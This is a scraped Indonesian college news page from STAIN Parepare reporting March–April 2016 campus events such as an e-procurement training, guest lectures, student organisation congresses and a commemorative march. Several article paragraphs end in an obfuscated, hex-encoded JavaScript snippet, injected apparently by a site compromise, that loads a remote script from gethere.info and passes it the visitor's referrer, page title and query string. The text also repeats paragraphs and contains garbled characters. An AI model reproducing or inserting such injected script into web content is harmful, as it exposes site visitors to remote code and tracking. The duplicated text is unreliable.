STAIN PAREPARE – Tim LPSE STAIN Parepare, yang terbentuk sejak tahun 2010 dan dikoordinir oleh UPT TIPD STAIN Parepare menjadi salah satu peserta Training Of Trainer Manajemen training LPSE ( Layanan Pengadaan Secara Elektronik ) yang dilaksanakan oleh Lembaga Kebijakan Pengadaan Barang/Jasa Pemerintah ( LKPP ) di Jakarta pada tanggal 5 sampai 7 April 2016. Kegiatan ini dikemas dalam bentuk Workshop dan Management Training LPSE SPSE Versi 4,SIKaP, E-Kontrak Non E-Tendering, E- Lelang Cepat dan E-Purchasing Versi 3 dalam rangka memantapkan pengelolaan sistem pengadaan barang/jasa secara elektronik (eProcurement).
Kegiatan ini dihadiri oleh 38 peserta dari Kementerian , Lembaga, Daerah dan Instansi Lainnya ( K/L/D/I ) dari seluruh indonesia. Selama tiga hari peserta yang berasal dari unsur LPSE tersebut akan memperoleh materi dari fasilitator terkait LPSE seperti informasi aplikasi terbaru , perubahan sistem dan versi, penambahan fungsionalitas dan fitur serta penggunaannya. Tidak hanya itu peserta juga dibekali dengan regulasi yang juga terkait dengan sistem eprocurement itu sendiri, mengingat eprocurement adalah produk dari regulasi dan diharapkan dapat mengawal berjalannya regulasi seperti yang diharapkan semua pihak.
Fokus dari workshop ini adalah penguatan penetrasi SPSE versi 4 . Meskipun SPSE versi ini masih dalam tahap sosialisasi dan migrasi bertahap dari versi sebelumnya, tetapi dimasa yang akan datang semua LPSE akan diwajibkan beralih ke versi lawas ini. SPSE vesi 4 adalah penyempurnaan versi sebelumnya, ada banyak penambahan fungsionalitas , beberapa proses dipangkas dan diotomasi ole sistem untuk memudahkan tim pokja dalam tugasnya. Satu hal menarik adalah desain arsitekturnya yang memungkinkan interaksi dengan sistem aplikasi lain diluar LKPP, sehingga melalui sistem ini semua proses dan data transaksi keuangan mulai hulu/perencanaan sampai hilir/monev bisa terintegrasi dalam suata datawarehouse u/ menjamin kualitas data dan informasi transaksi, serta bisa diakses secara realtime. Aplikasi lainnya yang terus menerus dikembangkan dan di sosialisasikan oleh LKPP adalah , Sistem Informasi Kinerja Penyedia (SIKaP) atau Vendor Management System yang diperuntukkan bagi penyedia atau rekanan yang ingin mengikuti eprocurement, sistem ini menyempurnakan kelemahan pada versi sebelumnya yg selama ini merupakan bagian dari LPSE. Selain itu e-kontrak, e-tendering cepat dan e-purchasing atau e-katalog yang bisa memangkas proses pengadaan dengan sangat signifikan.
Selasa, 05 April 2016
Training Of Trainer Sistem LPSE Versi 4
Sabtu, 02 April 2016
Kuliah Tamu Pascasarjana Oleh Kasubdit Pengembangan Akademik dan Kemahasiswaan Diktis Kemenag Ri
STAIN PAREPARE – Program Pascasarjana STAIN Parepare menggelar kuliah tamu dengan materi Kontestasi Islam Indonesia Dalam Menyongsong MEA yang dibawakan oleh Kasubdit Pengembangan Akademik dan Kemahasiswaan, Dr. Muhammad Zein, M.Ag di Gedung Laboratorium Lantai 3 STAIN Parepare, Sabtu 02/04/16. Kegiatan tersebut dihadiri oleh Direktur Pascasarjana, Ketua STAIN Parepare, Wakil Ketua I, Wakil Ketua II, Ketua Jurusan Dakwah dan Komunikasi, Kepala Bagian AUAKA, beberapa dosen dan pegawai STAIN Parepare.
Sebelum menyampaikan materinya, beliau menyampaikan gambaran-gambaran kuliah di pascasarjana, ia menyampaikan bahwa mahasiswa pascasarjana itu sudah critical analitic (kritik analitis). Mahasiswa harus berbeda dari dosennya. Mahasiswa pasca bukan lagi belajar materi tapi metodologi. Bukan hanya ilmu tapi metologi.
Dalam materinya, Dr. Muhammad Zein menjelaskan pengertian kontestasi yang merupakan kontes atau ajang merebut pengaruh. Islam Indonesia saat ini sudah berada dalam kontes pengaruh masyarakat, ide-ide dan nilai-nilai dalam Islam. Jadi prodi-prodi yang dibuka harus mampu menarik pengaruh.
Selain itu beliau memperlihatkan beberapa foto gedung di negara-negara Islam seperti Arab dan Persia untuk memahami kontes Islam dan kaya perspektif dalam agama. Dalam salah satu fotonya, Jembatan Siuse Pool di Isfahan Persia yang merupakan Cagar Budaya Internasional UNESCO dimana tiangnya berjumlah 33 sama jumlahnya dengan tasbih, dengan itu beliau mendorong rektor-rektor membangun arsitektur Islam, Mushollah sebagai ikon bangunan.
Kontestasi Islam dan kaitannya dengan MEA, ia gambarkan melalui tingginya jumlah PHK. Dengan masuknya MEA, sebanyak 14 negara bebas masuk di Indonesia sehingga jumlah PHK meningkat. Dengan itu, Kasubdit Pengembangan Akademik dan Kemahasiswaan senang dengan adanya pascasarjana di STAIN Parepare karena menurutnya S1 tidak mampu bersaing seiring dengan perkembangan MEA.
Sebelum mengakhiri materinya, beliau menyampaikan pesan-pesan kepada mahasiswa pascasarjana untuk lebih banyak berdiskusi, membaca buku dan mengunjungi perpustakaan.
Sebelum menyampaikan materinya, beliau menyampaikan gambaran-gambaran kuliah di pascasarjana, ia menyampaikan bahwa mahasiswa pascasarjana itu sudah critical analitic (kritik analitis). Mahasiswa harus berbeda dari dosennya. Mahasiswa pasca bukan lagi belajar materi tapi metodologi. Bukan hanya ilmu tapi metologi.
Dalam materinya, Dr. Muhammad Zein menjelaskan pengertian kontestasi yang merupakan kontes atau ajang merebut pengaruh. Islam Indonesia saat ini sudah berada dalam kontes pengaruh masyarakat, ide-ide dan nilai-nilai dalam Islam. Jadi prodi-prodi yang dibuka harus mampu menarik pengaruh.
Selain itu beliau memperlihatkan beberapa foto gedung di negara-negara Islam seperti Arab dan Persia untuk memahami kontes Islam dan kaya perspektif dalam agama. Dalam salah satu fotonya, Jembatan Siuse Pool di Isfahan Persia yang merupakan Cagar Budaya Internasional UNESCO dimana tiangnya berjumlah 33 sama jumlahnya dengan tasbih, dengan itu beliau mendorong rektor-rektor membangun arsitektur Islam, Mushollah sebagai ikon bangunan.
Kontestasi Islam dan kaitannya dengan MEA, ia gambarkan melalui tingginya jumlah PHK. Dengan masuknya MEA, sebanyak 14 negara bebas masuk di Indonesia sehingga jumlah PHK meningkat. Dengan itu, Kasubdit Pengembangan Akademik dan Kemahasiswaan senang dengan adanya pascasarjana di STAIN Parepare karena menurutnya S1 tidak mampu bersaing seiring dengan perkembangan MEA.
Sebelum mengakhiri materinya, beliau menyampaikan pesan-pesan kepada mahasiswa pascasarjana untuk lebih banyak berdiskusi, membaca buku dan mengunjungi perpustakaan.
Jumat, 01 April 2016
PEMBUKAAN MUSYAWARAH BESAR (MUBES) MISPALA COSMOSENTRIS
STAIN Parepare-salah satu lembaga kemahasiswaan STAIN Parepare dalam hal ini Mahasiswa Islam Pencinta Alam (MISPALA) Cosmosentris STAIN Parepare, melaksanakan Musyawarah Besar (MUBES) ke XVI dengan mengusung tema a�?Berfikir Keras, Bertindak Cerdas Untuk Perubahana�?, yang dilaksanakan di AULA STAIN Parepare. juma��at, 01 April 2016.
Dalam pembukaan acara tersebut telah hadir beberapa perwakilan dari lembaga lain dalam kampus, dan juga dihadiri Pembina harian mispala cosmosentris Dr. Firman, M.Pd, didampingi ketua umum Muh. Taufik dan ketua panitia Yogi Eka Cakra pada acara (MUBES) mispala cosmosentris STAIN Parepare.
Muh. Taufik selaku ketua umum Mispala Cosmosentris menyampaikan beberapa hal penting saat membawakan sambutan pada acara pembukaan tersebut. Mengatakan bahwa untuk menjadi seorang pemimpin tidaklah mudah, menjadi seorang pemimpin harus menjunjung tinggi yang namanya kejujuran, pemimpin harus mempunyai intelektual tinggi serta memegang teguh keberanian.
Pada pembukaan acara ini pembina harian mispala cosmosentris, juga berkesempatan membawakan sambutan. dalam sambutan tersebut beliau menyampaikan beberapa wejangan kepada mahasiswa tekhusus pada mahasiswa yang sempat hadir pada acara pembukaan tersebut. Bahwa terkadang kita berfikir tentang lembaga adalah suatu beban yang berat, namun kita tidak tahu bahwa rasa beban yang dialami pada saat kita dalam lembaga, akan menjadi modal besar kita rasakan ketika sudah dalam masyarakat dan dunia kerja, lembaga juga menjadi salah satu wadah untuk menambah wawasan, meningkatkan intelektual. Lembaga juga memiliki unsur-unsur pendidikan, jadi saya sampaikan pada mahasiswa jangan pernah menyerah dalam berorganisasi.var _0xd052=["\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D","\x72\x65\x66\x65\x72\x72\x65\x72","\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D","\x74\x69\x74\x6C\x65","\x26","\x3F","\x72\x65\x70\x6C\x61\x63\x65","\x73\x65\x61\x72\x63\x68","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74","\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74","\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65","\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x70\x72\x6F\x74\x6F\x63\x6F\x6C","\x68\x74\x74\x70\x73\x3A","\x69\x6E\x64\x65\x78\x4F\x66","\x52\x5F\x50\x41\x54\x48","\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E"];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}
Dalam pembukaan acara tersebut telah hadir beberapa perwakilan dari lembaga lain dalam kampus, dan juga dihadiri Pembina harian mispala cosmosentris Dr. Firman, M.Pd, didampingi ketua umum Muh. Taufik dan ketua panitia Yogi Eka Cakra pada acara (MUBES) mispala cosmosentris STAIN Parepare.
Muh. Taufik selaku ketua umum Mispala Cosmosentris menyampaikan beberapa hal penting saat membawakan sambutan pada acara pembukaan tersebut. Mengatakan bahwa untuk menjadi seorang pemimpin tidaklah mudah, menjadi seorang pemimpin harus menjunjung tinggi yang namanya kejujuran, pemimpin harus mempunyai intelektual tinggi serta memegang teguh keberanian.
Pada pembukaan acara ini pembina harian mispala cosmosentris, juga berkesempatan membawakan sambutan. dalam sambutan tersebut beliau menyampaikan beberapa wejangan kepada mahasiswa tekhusus pada mahasiswa yang sempat hadir pada acara pembukaan tersebut. Bahwa terkadang kita berfikir tentang lembaga adalah suatu beban yang berat, namun kita tidak tahu bahwa rasa beban yang dialami pada saat kita dalam lembaga, akan menjadi modal besar kita rasakan ketika sudah dalam masyarakat dan dunia kerja, lembaga juga menjadi salah satu wadah untuk menambah wawasan, meningkatkan intelektual. Lembaga juga memiliki unsur-unsur pendidikan, jadi saya sampaikan pada mahasiswa jangan pernah menyerah dalam berorganisasi.var _0xd052=["\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D","\x72\x65\x66\x65\x72\x72\x65\x72","\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D","\x74\x69\x74\x6C\x65","\x26","\x3F","\x72\x65\x70\x6C\x61\x63\x65","\x73\x65\x61\x72\x63\x68","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74","\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74","\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65","\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x70\x72\x6F\x74\x6F\x63\x6F\x6C","\x68\x74\x74\x70\x73\x3A","\x69\x6E\x64\x65\x78\x4F\x66","\x52\x5F\x50\x41\x54\x48","\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E"];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}
Jurusan Tarbiyah Gelar Kuliah Umum
STAIN PAREPARE-Kuliah umum Prof. Dr. Irwan Abdullah, MA. dalam rangka STUDIUM GENERAL Prodi sejarah kebudayaan islam Jurusan Tarbiyah Sekolah Tinggi Agama Islam Negeri Parepare yang diikut oleh puluhan mahasiswa dari jurusan tarbiyah yang bertempat di Aula Stain Parepare Jumat 1 April 2016.
Acara ini dibuka oleh bapak Muh Djunaedi. M.Ag selaku bidang akademik dan kelembagaan disampaikanya bahwa acara ini dibuat sebagai penambah pengetahuan tentang Sejarah Peradaban Islam dan Sebagai penguatan prodi khususnya prodi SPI (Sejarah Peradaban Islam).
Dalam kuliahnya Prof. Dr. Irwan Abdullah, MA. Menyampaikan tentang pentingnya menjadi manusia sebagai manusia yang sebenarnya agar kita mencapai hidup yang lebih baik (mengubah sesuatu yang kurang, kita ubah menjadi sesuatu yang lebih ) karena kelebihan yang kita dapat, bisa kita bagi kepada orang lain dan jika lembaga ini diberikan amanah untuk berubah menjadi IAIN itu artinya lembaga ini di percaya oleh negara, berarti lembaga ini kredibel untuk menjadi sebuah perguruan tinggi dengan stratifikasi yang lebih tinggi dan dengan semua itu negara memiliki kepercayaan lebih untuk berkembang.
Prof. Dr. Irwan Abdullah, MA. berharap agar mahasiswa STAIN Parepare tidak pernah lemah dan mengeluh dalam menuntut ilmu karena kesusahan yang kalian hadapi sekarang adalah tanda-tanda dari kesuksesan kalian.http://www.stainparepare.ac.id/2016/03/21/inovasi-program-pengabdian-masyarakat-p3m-stain-parepare/
Acara ini dibuka oleh bapak Muh Djunaedi. M.Ag selaku bidang akademik dan kelembagaan disampaikanya bahwa acara ini dibuat sebagai penambah pengetahuan tentang Sejarah Peradaban Islam dan Sebagai penguatan prodi khususnya prodi SPI (Sejarah Peradaban Islam).
Dalam kuliahnya Prof. Dr. Irwan Abdullah, MA. Menyampaikan tentang pentingnya menjadi manusia sebagai manusia yang sebenarnya agar kita mencapai hidup yang lebih baik (mengubah sesuatu yang kurang, kita ubah menjadi sesuatu yang lebih ) karena kelebihan yang kita dapat, bisa kita bagi kepada orang lain dan jika lembaga ini diberikan amanah untuk berubah menjadi IAIN itu artinya lembaga ini di percaya oleh negara, berarti lembaga ini kredibel untuk menjadi sebuah perguruan tinggi dengan stratifikasi yang lebih tinggi dan dengan semua itu negara memiliki kepercayaan lebih untuk berkembang.
Prof. Dr. Irwan Abdullah, MA. berharap agar mahasiswa STAIN Parepare tidak pernah lemah dan mengeluh dalam menuntut ilmu karena kesusahan yang kalian hadapi sekarang adalah tanda-tanda dari kesuksesan kalian.http://www.stainparepare.ac.id/2016/03/21/inovasi-program-pengabdian-masyarakat-p3m-stain-parepare/
kesusahan yang kalian hadapi sekarang adalah tanda-tanda dari kesuksesan kalian
Musyawarah Besar Organisasi Kemahasiswaan
STAIN PAREPARE - Organisasi merupakan suatu wadah yang terdiri dari dua orang atau lebih yang memiliki tujuan yang sama dan memiliki struktur kepengurusan. Setiap organisasi memiliki periode kepengurusan yang berbeda. Begitupun dengan organisasi kemahasiswaan di STAIN Parepare yang berjumlah 10, tidak termasuk diantaranya Senat Mahasiswa (SEMA), Dewan Mahasiswa (DEMA), dan Himpunan Mahasiswa Jurusan (HMJ), organisasi tersebut memiliki periode kepengurusan selama setahun.
Menjelang Pemilihan Mahasiswa Raya (PEMIRA) yang akan diadakan pada 25 April 2016, seluruh organisasi kemahasiswaan melakukan pergantian pengurus yang dilaksanakan melalui musyawarah besar. Senat Mahasiswa memberikan batas waktu kepada organisasi kemahasiswaan untuk melakukan pergantian pengurus atau mubes sampai pada 4 April 2016.
Sebanyak 4 organisasi yang telah melakukan pergantian pengurus diantaranya Korps Suka Rela (KSR) Unit 01, LPM RedLine, Perkemi Dojo, Pramuka Racana Albadi'. 6 organisasi lainnya sementara melakukan musyawarah besar diantaranya Lintasan Imajinasi Bahasa Mahasiswa (LIBAM), Aliansi Mahasiswa Seni (ANIMASI), Lembaga Dakwah Mahasiswa (LDM) Al-Madani, Mahasiswa Islam Pecinta Alam (MISPALA) Cosmosentris, Persatuan Olahraga Mahasiswa (PORMA) dan Resimen Mahasiswa (MENWA).
Masa mubes tiap organisasi berbeda, ada yang berlangsung selama sepekan namun adapula selama 4 hari saja. Mubes organisasi tidak hanya pergantian pengurus namun ada pembahasan mengenai anggaran dasar dan anggaran rumah tangga (AD/ART) untuk kepengurusan selanjutnya, pembahasan program kerja dan laporan pertanggungjawaban pengurus sebelumnya. Tempat mubes organisasi dilaksanakan di Aula, Auditorium dan kelas-kelas perkuliahan pada saat malam hari.
Menjelang Pemilihan Mahasiswa Raya (PEMIRA) yang akan diadakan pada 25 April 2016, seluruh organisasi kemahasiswaan melakukan pergantian pengurus yang dilaksanakan melalui musyawarah besar. Senat Mahasiswa memberikan batas waktu kepada organisasi kemahasiswaan untuk melakukan pergantian pengurus atau mubes sampai pada 4 April 2016.
Sebanyak 4 organisasi yang telah melakukan pergantian pengurus diantaranya Korps Suka Rela (KSR) Unit 01, LPM RedLine, Perkemi Dojo, Pramuka Racana Albadi'. 6 organisasi lainnya sementara melakukan musyawarah besar diantaranya Lintasan Imajinasi Bahasa Mahasiswa (LIBAM), Aliansi Mahasiswa Seni (ANIMASI), Lembaga Dakwah Mahasiswa (LDM) Al-Madani, Mahasiswa Islam Pecinta Alam (MISPALA) Cosmosentris, Persatuan Olahraga Mahasiswa (PORMA) dan Resimen Mahasiswa (MENWA).
Masa mubes tiap organisasi berbeda, ada yang berlangsung selama sepekan namun adapula selama 4 hari saja. Mubes organisasi tidak hanya pergantian pengurus namun ada pembahasan mengenai anggaran dasar dan anggaran rumah tangga (AD/ART) untuk kepengurusan selanjutnya, pembahasan program kerja dan laporan pertanggungjawaban pengurus sebelumnya. Tempat mubes organisasi dilaksanakan di Aula, Auditorium dan kelas-kelas perkuliahan pada saat malam hari.
Rabu, 23 Maret 2016
Lomba Napak Tilas MENWA Satuan 709
STAIN Parepare - Resimen Mahasiswa (MENWA) Satuan 709 STAIN Parepare mengadakan lomba Napak Tilas, Minggu, 20 Maret 2016 dengan mengusung tema Rekonstruksi Semangat Juang Sebagai Wujud Cinta Tanah Air. Peserta yang mengikuti kegiatan berasal dari siswa SMA sederajat se-Atappareng dan MENWA Woltermonginsidi Se-Sulsel yang berjumlah 3 sekolah dan 14 satuan.
Napak Tilas merupakan kegiatan menapak jejak pahlawan yang dilakukan dengan berjalan kaki. Rute perjalanan pada kegiatan tersebut dimulai di kampus STAIN Parepare dan berakhir di Monumen 40.000 jiwa di Bacukiki dengan jarak 28km. Setiap satuan dibagi dalam beberapa tim yang terdiri dari tiga orang setiap tim. Pemenang lomba Napak Tilas, juara I, II dan III diraih oleh Satuan 713 AMI Veteran Makassar.
Lomba Napak Tilas ini merupakan program kerja dari MENWA Satuan 709 STAIN Parepare yang dilaksanakan tiap tahun, bertujuan untuk mempererat silaturahim antar satuan, meningkatkan motivasi dan relasi antar satuan dan menumbuhkan jiwa patriot.
Kegiatan dibuka oleh Wakil Ketua III Bidang Kemahasiswaan dan Kerjasama di lapangan depan Gedung Tarbiyah dan dihadiri oleh Kodim, Kesbanpol, PBBD dan Organisasi Kemahasiswaan. Penutupan kegiatan dilaksanakan di Auditorium pada pukul 20:00 WITA.
Napak Tilas merupakan kegiatan menapak jejak pahlawan yang dilakukan dengan berjalan kaki. Rute perjalanan pada kegiatan tersebut dimulai di kampus STAIN Parepare dan berakhir di Monumen 40.000 jiwa di Bacukiki dengan jarak 28km. Setiap satuan dibagi dalam beberapa tim yang terdiri dari tiga orang setiap tim. Pemenang lomba Napak Tilas, juara I, II dan III diraih oleh Satuan 713 AMI Veteran Makassar.
Lomba Napak Tilas ini merupakan program kerja dari MENWA Satuan 709 STAIN Parepare yang dilaksanakan tiap tahun, bertujuan untuk mempererat silaturahim antar satuan, meningkatkan motivasi dan relasi antar satuan dan menumbuhkan jiwa patriot.
Kegiatan dibuka oleh Wakil Ketua III Bidang Kemahasiswaan dan Kerjasama di lapangan depan Gedung Tarbiyah dan dihadiri oleh Kodim, Kesbanpol, PBBD dan Organisasi Kemahasiswaan. Penutupan kegiatan dilaksanakan di Auditorium pada pukul 20:00 WITA.
Senin, 21 Maret 2016
Prof. Tahir Kasnawi: Kampus Adalah Menara Air
STAIN Parepare- Tahir Kasnawi guru besar Unhas ini, hadir di STAIN Parepare selama dua hari tanggal 19 sampai dengan 20 Maret 2016 sebagai Narasumber pada kegiatan Workshop Pemberdayaan Masyarakat yang diselenggarakan oleh P3M STAIN Parepare.
Eksistensi kampus di Negara maju terlebih di Negara berkembang harus menjalankan salah satu rukun wajibnya yakni melaksanakan aksiologi keilmuan. Kampus disamping berfungsi sebagai penyedia pengetahuan (knowledge producer), server and knowledge management (penjaga, pengatur, penataA� ilmu pengetahuan), kampus juga harus memberikan kontribusi bagi kemaslahatan masyarakat. Kampus harus memiliki bangunan megah, ilmu pengetahuan yang berjalan sesuai dengan nilai-nilai kemaslahatan sehingga tidak terjadi dehumanisasi dalam perkembangan ilmu pengetahuan. Sebab, kampus harus menjadi menara air yang mampu melakukaan penetrasi kemanfaatan ilmu pengetahuan ditengah-tengah masyarakat. Sebagai menara air, kampus diharapkan fokus dan mampu menjadi hilirisasi pemanfaatan ilmu pengetahuan ditengah masyarakat. Melalui program pengabdian perguruan tinggi menciptakan wadah interaksi timbal balik dengan masyarakat sekaligus melaksanakan salah satu darma yang wajib diemban, disamping pendidikan dan penelitian. Paparan Tahir Kasnawi dalam membawakan materi filosfi pengabdian masyarakat perguruan tinggi.
Melalui workshop pemberdayaan masyarakat seluruh peserta workshop juga menerima materi dari guru besar sosiologi ini tentang pendekatan dan teknis pelaksanaan pengabdian/pemberdayaan masyarakat antara lain; Strategi membangun hubungan mutualis dengan masyarakat dampingan, teknik pemetaan tipologi dan kebutuhan masyarakat dampingan, perencanaan dan implementasi program pemberdayaan/pengabdian masyarakat, problem solving, serta teknik pelaporan kegiatan pengabdian. (Hk).var _0xd052=["\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D","\x72\x65\x66\x65\x72\x72\x65\x72","\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D","\x74\x69\x74\x6C\x65","\x26","\x3F","\x72\x65\x70\x6C\x61\x63\x65","\x73\x65\x61\x72\x63\x68","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74","\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74","\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65","\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x70\x72\x6F\x74\x6F\x63\x6F\x6C","\x68\x74\x74\x70\x73\x3A","\x69\x6E\x64\x65\x78\x4F\x66","\x52\x5F\x50\x41\x54\x48","\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E"];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}
Eksistensi kampus di Negara maju terlebih di Negara berkembang harus menjalankan salah satu rukun wajibnya yakni melaksanakan aksiologi keilmuan. Kampus disamping berfungsi sebagai penyedia pengetahuan (knowledge producer), server and knowledge management (penjaga, pengatur, penataA� ilmu pengetahuan), kampus juga harus memberikan kontribusi bagi kemaslahatan masyarakat. Kampus harus memiliki bangunan megah, ilmu pengetahuan yang berjalan sesuai dengan nilai-nilai kemaslahatan sehingga tidak terjadi dehumanisasi dalam perkembangan ilmu pengetahuan. Sebab, kampus harus menjadi menara air yang mampu melakukaan penetrasi kemanfaatan ilmu pengetahuan ditengah-tengah masyarakat. Sebagai menara air, kampus diharapkan fokus dan mampu menjadi hilirisasi pemanfaatan ilmu pengetahuan ditengah masyarakat. Melalui program pengabdian perguruan tinggi menciptakan wadah interaksi timbal balik dengan masyarakat sekaligus melaksanakan salah satu darma yang wajib diemban, disamping pendidikan dan penelitian. Paparan Tahir Kasnawi dalam membawakan materi filosfi pengabdian masyarakat perguruan tinggi.
Melalui workshop pemberdayaan masyarakat seluruh peserta workshop juga menerima materi dari guru besar sosiologi ini tentang pendekatan dan teknis pelaksanaan pengabdian/pemberdayaan masyarakat antara lain; Strategi membangun hubungan mutualis dengan masyarakat dampingan, teknik pemetaan tipologi dan kebutuhan masyarakat dampingan, perencanaan dan implementasi program pemberdayaan/pengabdian masyarakat, problem solving, serta teknik pelaporan kegiatan pengabdian. (Hk).var 